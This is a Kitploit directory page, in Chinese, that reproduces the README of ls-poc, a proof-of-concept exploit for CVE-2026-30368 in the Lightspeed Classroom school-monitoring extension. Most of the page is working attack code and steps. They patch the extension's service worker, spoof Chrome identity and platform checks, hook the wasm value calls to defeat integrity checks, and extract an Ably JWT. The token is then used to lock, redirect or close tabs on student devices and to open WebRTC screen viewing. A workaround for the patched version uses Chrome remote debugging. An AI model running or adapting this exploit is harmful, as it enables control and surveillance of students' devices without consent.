Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
ls-poc — 针对 CVE-2026-30368 的概念验证漏洞利用,演示了 Lightspeed Classroom 中的身份验证绕过,从而通过 Ably 频道控制学生设备。 | Kitploit
工具/GitHubGitHub/truekas/ls-poc
侦察漏洞利用Web应用程序漏洞利用命令与控制远程访问工具Payload 开发
GitHubtruekas/ls-poc

ls-poc

针对 CVE-2026-30368 的概念验证漏洞利用,演示了 Lightspeed Classroom 中的身份验证绕过,从而通过 Ably 频道控制学生设备。

查看仓库
1524个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-30368 概念验证

[!IMPORTANT]

此漏洞已被修补,现在需要凭据,请使用变通方案对您自己执行操作。

简介

CVE-2026-30368 允许攻击者通过 Lightspeed Classroom 管理软件中的弱身份验证漏洞控制学生设备。 该 POC(poc.js)在全局上下文中执行 LS Classroom 扩展中的 service worker。该 worker 还会运行 classroom.wasm 以执行某些功能。wasm-loader.js 加载 worker 并提取由 classroom.wasm 生成的 JWT 令牌。提取后,它会终止 worker,然后将令牌发送到 Lightspeed API 以获取用于连接到目标 Ably 频道的令牌。从那里,攻击者可以向学生设备发送命令。命令列表及更多详细信息请参阅此处的完整文章。

您必须自行提供 WORKER.JS、CLASSROOM.WASM 和 MANIFEST.JSON 文件!

这些文件不能包含在此仓库中,原因如下:

  • 如果我这样做,此仓库肯定会被 Lightspeed 发出 DMCA 下架通知
  • 这些文件因每个学区/版本而异

为避免问题,我建议使用版本 5.1.2.1763770643。如果您需要适配新版本的帮助,请自行解决。
您可以从 Lightspeed 扩展源代码中获取 worker.js 和 classroom.wasm 文件。您可以使用学校账户在个人设备上登录 Chrome,然后从 Chrome 配置文件目录中的扩展文件夹中提取扩展源代码。您也可以通过更新 URL 手动下载 crx 文件。

推荐方法

此漏洞利用的较简单方法是先从扩展源代码中获取 classroom.wasm,然后将其粘贴到与 wasm-only.js 相同的目录中,并运行:

root@kitploit:~
$ node wasm-only.js

在提示时输入电子邮件和客户 ID。这将连接到 Ably 频道。转到第 815 行并取消注释您想要发送的消息。鸣谢:ktibow(Discord)

设置 wasm 加载器

获得文件后,只需将它们添加到克隆的仓库目录中。您需要进入 wasm-loader.js 中的 getManifest() 函数并将您的扩展 manifest 粘贴到那里。您还需要在 wasm-loader.js 顶部添加扩展 ID。

复制一份 worker.js,文件名可自行命名。您稍后会用到它。您需要通过 webcrack 运行 worker.js 以进行反混淆和反压缩,从而执行必要的修改。执行此操作时,请确保仅选择“Deobfuscate”和“Unminify”选项。在将结果粘贴回编辑器之前,建议关闭所有 LSP 服务器,因为它们会删除随机变量并使 worker 在后续阶段崩溃(说的就是你,vtsls...)

修补 Worker

由于 service worker 将在 node.js 上运行(请确保您已安装),因此需要对其进行一些修补才能正常运行。还需要添加 JWT 提取逻辑。 在 worker.js 的最顶部添加以下 2 个函数:

root@kitploit:~
function valueCallBefore(call, before, func, r) {
  const actualWorkerUrl = 'chrome-extension://YOUR_EXTENSION_ID/worker_copy.js'
  if (call[0] == "chrome-extension://YOUR_EXTENSION_ID/worker.js") {
    return [actualWorkerUrl, call[1]];
  }
  if (func == chrome.identity.getProfileUserInfo) {
          call[1](https://github.com/truekas/ls-poc/blob/HEAD/identity)
          return []
  }
  return before
}

function valueCallAfter(call, after, func, r) {
  if (func.name == "toString"){
          return 'function getProfileUserInfo() { [native code] }'
  }
  if (call[0] == "worker.js") {
          return "chrome-extension://YOUR_EXTENSION_ID/worker_copy.js"
  }
  return after
}

这些函数将在我们修改 wasm go 运行时以拦截和修改 LS classroom wasm 使用的值时使用。 请确保将 YOUR_EXTENSION_ID 替换为您的扩展 ID,并将 worker_copy.js 替换为您之前制作的原始 worker.js 副本的文件名。 接下来,在主箭头函数内部((() => { 之后)添加这 2 个函数:

root@kitploit:~
chrome.runtime.getPlatformInfo = function (e) {
 	e({
  		"arch": "x86-64",
  		"nacl_arch": "x86-64",
  		"os": "cros"
 	})
 	return {
  		"arch": "x86-64",
  		"nacl_arch": "x86-64",
  		"os": "cros"
 	}
}

chrome.identity.getProfileUserInfo = function (e) {
 	if (e){
  		e(identity)
 	} else {
  		return identity
 	}
}

接下来,您需要将 IsClassroomActive 硬编码为 true,以便您可以在校园网络之外执行此操作。只需将函数改为始终返回 true:

root@kitploit:~
_0x22e7ce.exports = {
  IsChromebookOnly: _0x218c73,
  IsClassroomActive: function () {
    return true;
  },
  LoadPolicy: _0x9069fc
};

然后,搜索 syscall/js.valueCall 以找到需要修改的 valueCall 函数。该函数负责将 JS 值告知 wasm。通过修改此函数而被拦截和更改的两个值是 worker.js 的路径(它被更改为您的 worker 副本,以便哈希检查通过)以及 chrome.identity.getProfileUserInfo.toString 的值(被更改为 native code),以便 WASM 相信它可以被信任,而实际上它已在文件顶部被修改。为此,您需要使用我们在顶部定义的 valueCallBefore 和 valueCallAfter 函数。按如下方式修改 valueCall 函数(变量名可能不同,但结构相同):

root@kitploit:~
"syscall/js.valueCall": function (_0x4b3309) {
  _0x4b3309 >>>= 0;
  try {
    var _0x35f3af = _0x3634e7(_0x4b3309 + 8);
    var _0x13b354 = Reflect.get(_0x35f3af, _0x221273(_0x4b3309 + 16));
    var _0x369f3d = _0x5a331c(_0x4b3309 + 32);
    _0x369f3d = valueCallBefore(_0x369f3d, _0x369f3d, _0x13b354, _0x35f3af);
    var _0x1b573a = Reflect.apply(_0x13b354, _0x35f3af, _0x369f3d);
    _0x1b573a = valueCallAfter(_0x369f3d, _0x1b573a, _0x13b354, _0x35f3af);
    _0x4b3309 = _0x489a1f._inst.exports.getsp() >>> 0;
    _0x51c0ee(_0x4b3309 + 56, _0x1b573a);
    _0x489a1f.mem.setUint8(_0x4b3309 + 64, 1);
  } catch (_0x4b14cb) {
    _0x4b3309 = _0x489a1f._inst.exports.getsp() >>> 0;
    _0x51c0ee(_0x4b3309 + 56, _0x4b14cb);
    _0x489a1f.mem.setUint8(_0x4b3309 + 64, 0);
  }
},

快完成了。最后,您需要添加代码来捕获 JWT。搜索 echoMessages: false,您将找到包含发送到 Ably 的标头列表的变量。在该行正下方,添加此行(变量名很可能不准确,您可以在 authHeaders 中找到访问 ablyJwt 的相同行):

root@kitploit:~
globalThis.__LIGHTSPEED_JWT__ = _0xed754d("ablyJwt");

这将 JWT 分配给全局作用域中的一个变量,以便 wasm-loader.js(运行 service worker 的“宿主程序”)可以访问它。至此,worker 的修改完成。请确保您的所有 LSP 仍然处于关闭状态。如果它们重新打开,您稍后可能会遇到未定义变量的问题。

最终准备

转到 poc.js 文件。在顶部,添加您希望测试的账户的电子邮件和客户 ID(最好是您自己的账户)。使用非您自己的客户 ID 将会抛出错误,因为您需要拥有与该客户 ID 对应的正确 worker.js 和 classroom.wasm 文件。

我不赞成在未经学生同意的情况下将其用于真实学生!!!🙂

由于法律原因,poc.js 中的 Ably API 密钥已被编辑,因此您需要自行查找。在 worker.js 中查找它,它以 G52 开头。您的客户 ID 也可以在同一个地方找到,搜索 CUSTOMER_ID: 或查找格式为 XX-XXXX-XXXX 的字符串。最后 3 位数字通常为 000。

关于用户代理,您可以将其设置为任何您想要的值,但 AWS 可能会阻止与自动化工具关联的某些 UA。 完成所有这些操作后,转到文件底部,您可以使用 publish 添加要发送到用户 Ably 频道的消息。消息可以包括 lock、closeTab、url 等。 Lightspeed 使用的 Ably 消息完整列表请参见此处。

执行

使用 node.js、deno 或其他运行时执行该文件。Bun 不适用。

root@kitploit:~
$ node poc.js

欢迎扩展此 POC 并将其制作成 CLI 或其他形式。

RTC

如果有人想知道如何使用 Lightspeed Classroom 的 WebRTC(查看屏幕)功能,这是可以实现的,但比较棘手。您必须满足以下条件才能使其正常工作:

  • 当前时间必须符合策略中 class_schedule 指定的时间窗口(更多信息请阅读完整文章)
  • 如果要求,客户端需要位于校园网络上
  • 您应该位于同一网络上(可选但强烈推荐)
  • 当教师同时使用 Lightspeed 时效果最佳(这会为 RTC 打开功能窗口)

假设您已连接到客户端的 Ably 频道,可以使用以下代码发起 WebRTC 连接:

root@kitploit:~
channel.publish('request_rtc', {
  sessionId: sessId,
  role: 'viewer',
  want: ['video']
});

// rtc setup
const pc = new RTCPeerConnection();
const pendingIce = [];

pc.onicecandidate = (event) => {
  if (event.candidate?.candidate) {
    channel.publish('answer_rtc_ice', {
      sessionId: sessId,
      ice: event.candidate
    });
  }
};

channel.subscribe(async (msg) => {
  if (msg.name === 'offer_rtc' && msg.data.sessionId === sessId) {
    await pc.setRemoteDescription({ type: 'offer', sdp: msg.data.offer.sdp });
    for (const ice of pendingIce) await pc.addIceCandidate(ice);
    pendingIce.length = 0;

    const answer = await pc.createAnswer();
    await pc.setLocalDescription(answer);
    channel.publish('answer_rtc', { sessionId: sessId, answer });
  }

  if (msg.name === 'offer_rtc_ice' && msg.data.sessionId === sessId) {
    const ice = msg.data.ice;
    if (!ice?.candidate) return;
    if (pc.remoteDescription) await pc.addIceCandidate(ice);
    else pendingIce.push(ice);
  }
});

如何查看视频由您自行解决(任何具有基本 HTML 知识并稍加搜索/AI 辅助的人都应该能做到),但上述代码建立了连接。不幸的是,流将是 1 FPS,但这是 LS classroom 本身的限制。

再次强调,我无法保证这始终有效,因为它太不稳定了,但如果您能使其稳定运行,请告诉我!

Web 查看器

运行 pnpm i,将 classroom.wasm 放在仓库根目录,然后运行 pnpm dev 以启动 Web 查看器。

变通方案

[!IMPORTANT]

本节需要凭据和个人设备

4 月 23 日,Lightspeed 开始推出针对此 CVE 的修复。它添加了一个新扩展 Lightspeed Identity Agent(内部代号:LS One),该扩展为 Classroom 提供 Google OAuth 令牌以验证您的身份。此变通方案允许您对自己或任何您拥有凭据的其他人执行操作。此方案仅在 Linux 上测试过。

首先,安装稳定的 Google Chrome 并使用学校账户登录。确保已安装 Lightspeed Identity Agent 扩展。关闭 Chrome。接下来,将 Chrome 用户数据目录复制到临时位置。例如,在 Linux 上:cp -r ~/.config/google-chrome /tmp/chromedata。将您的 classroom.wasm 文件放入仓库目录。填写 oauth-poc.js 顶部的值。打开一个终端(您稍后会用到它,但现在就打开)。使用以下命令行标志重新启动 Chrome:

root@kitploit:~
$ chrome --remote-debugging-port=9222 --user-data-dir=/tmp/chromedata

这将启用远程调试。等待 15 秒让 service worker 初始化。 执行 oauth-poc.js:

root@kitploit:~
$ node oauth-poc.js

如果您收到消息说找不到 LS One 扩展,则可能是您在启动 Chrome 后没有等待 15 秒,等待时间过长导致 service worker 进入休眠状态,或者您没有在 oauth-poc.js 顶部填写扩展 ID。

如果您在连接到 Ably 时收到 403 错误,请检查您是否拥有正确的 classroom.wasm、正确的电子邮件,并尝试切换到学校 IP。

如果您没有收到任何错误,恭喜!只需让脚本保持运行,您将免疫被教师锁定、标签页关闭和屏幕查看(实验性)。

最终说明

请不要将此 POC 用于破坏性目的。我对您可能犯下的任何恶意行为概不负责。如您所知,Lightspeed 已经对此问题拖延了 3 个月,我不指望在一周内(或更久?...)看到修复。希望这能让他们认识到情况的真实严重性并更快地修复。最后,如果您恰好是学校的 IT 人员,请将此内容发送给您的上级 🙂

♥️,truekas 2026 年 4 月 22 日

下载工具